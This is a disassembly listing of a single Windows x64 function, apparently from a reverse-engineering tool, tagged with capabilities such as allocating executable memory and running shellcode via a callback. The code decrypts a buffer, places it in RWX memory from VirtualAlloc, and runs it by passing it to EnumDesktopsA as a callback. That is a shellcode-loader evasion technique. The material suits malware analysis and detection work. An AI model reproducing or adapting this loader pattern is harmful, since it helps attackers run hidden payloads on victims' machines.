Function at 0x140007df0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x228
lea rbp, [rsp + 0x80]
lea rsi, [0x14000a0a0]
lea r12, str._02x
call fcn.140001500
lea r15, [rbp - 0x30]
lea rcx, [rbp - 0x50]
movabs rdx, 0x7713d038e6212845
movabs rax, 0xd308a385886a3f24
mov qword [rbp - 0x48], rdx
mov rdx, r15
lea rdi, [rbp + 0x80]
mov qword [rbp - 0x50], rax
call fcn.140007ce0
mov ecx, 0x23
rep movsq qword [rdi], qword [rsi]
lea rcx, str.original_data:_n
mov eax, dword [rsi]
lea rsi, [rbp + 0x19d]
mov dword [rdi], eax
movzx eax, byte [0x14000a1bc]
mov byte [rdi + 4], al
call fcn.140007b30
lea rax, [rbp + 0x80]
mov qword [rbp - 0x58], rax
mov rbx, rax
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007b30
cmp rbx, rsi
jne 0x140007e90
lea r13, [0x14000a016]
xor r14d, r14d
mov rcx, r13
call fcn.140007b30
mov rax, qword [rbp + 0x80]
sub rsp, 0x120
lea r8, [rbp - 0x40]
lea rbx, [rsp + 0x20]
lea rdi, [rsp + 0x28]
sub rsp, 0x120
mov qword [rsp + 0x140], rax
mov rax, qword [rbp + 0x195]
mov qword [rsp + 0x255], rax
mov rax, rbx
mov rsi, qword [rbp - 0x58]
sub rax, rdi
sub rsi, rax
add eax, 0x11d
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x20]
sub rsp, 0x120
lea rsi, [rsp + 0x20]
nop dword [rax + rax]
movdqu xmm0, xmmword [rbx + r14]
mov rdx, r15
mov rcx, r8
movups xmmword [rbp - 0x40], xmm0
call fcn.140007c30
movdqu xmm1, xmmword [rbp - 0x40]
mov rdx, r15
mov rcx, r8
movups xmmword [rdi + r14], xmm1
call fcn.140007b80
movdqu xmm2, xmmword [rbp - 0x40]
movups xmmword [rsi + r14], xmm2
add r14, 0x10
cmp r14, 0x120
jne 0x140007f20
lea rcx, str.padded_data:_n
lea r15, [rbx + 0x120]
call fcn.140007b30
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007b30
cmp rbx, r15
jne 0x140007f78
mov rcx, r13
lea rbx, [rdi + 0x120]
call fcn.140007b30
lea rcx, str.encrypted_data:_n
call fcn.140007b30
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, r12
add rdi, 1
call fcn.140007b30
cmp rdi, rbx
jne 0x140007fb0
mov rcx, r13
mov rbx, rsi
lea rdi, [rsi + 0x120]
call fcn.140007b30
lea rcx, str.decrypted_data:_n
call fcn.140007b30
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007b30
cmp rdi, rbx
jne 0x140007fe8
mov rcx, r13
call fcn.140007b30
mov rcx, qword [rbp - 0x58]
mov r8d, 0x11d
mov rdx, rsi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x1400080a3
lea rcx, str.encryption_and_decryption_successful._n
call fcn.140007b30
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x11d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rax, qword [rsi]
lea rdi, [rbx + 8]
mov qword [rbx], rax
mov rax, qword [rsi + 0x115]
and rdi, 0xfffffffffffffff8
mov qword [rbx + 0x115], rax
mov rax, rbx
sub rax, rdi
sub rsi, rax
add eax, 0x11d
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
lea rsp, [rbp + 0x1a8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.encryption_and_decryption_failed._n
call fcn.140007b30
jmp 0x14000802a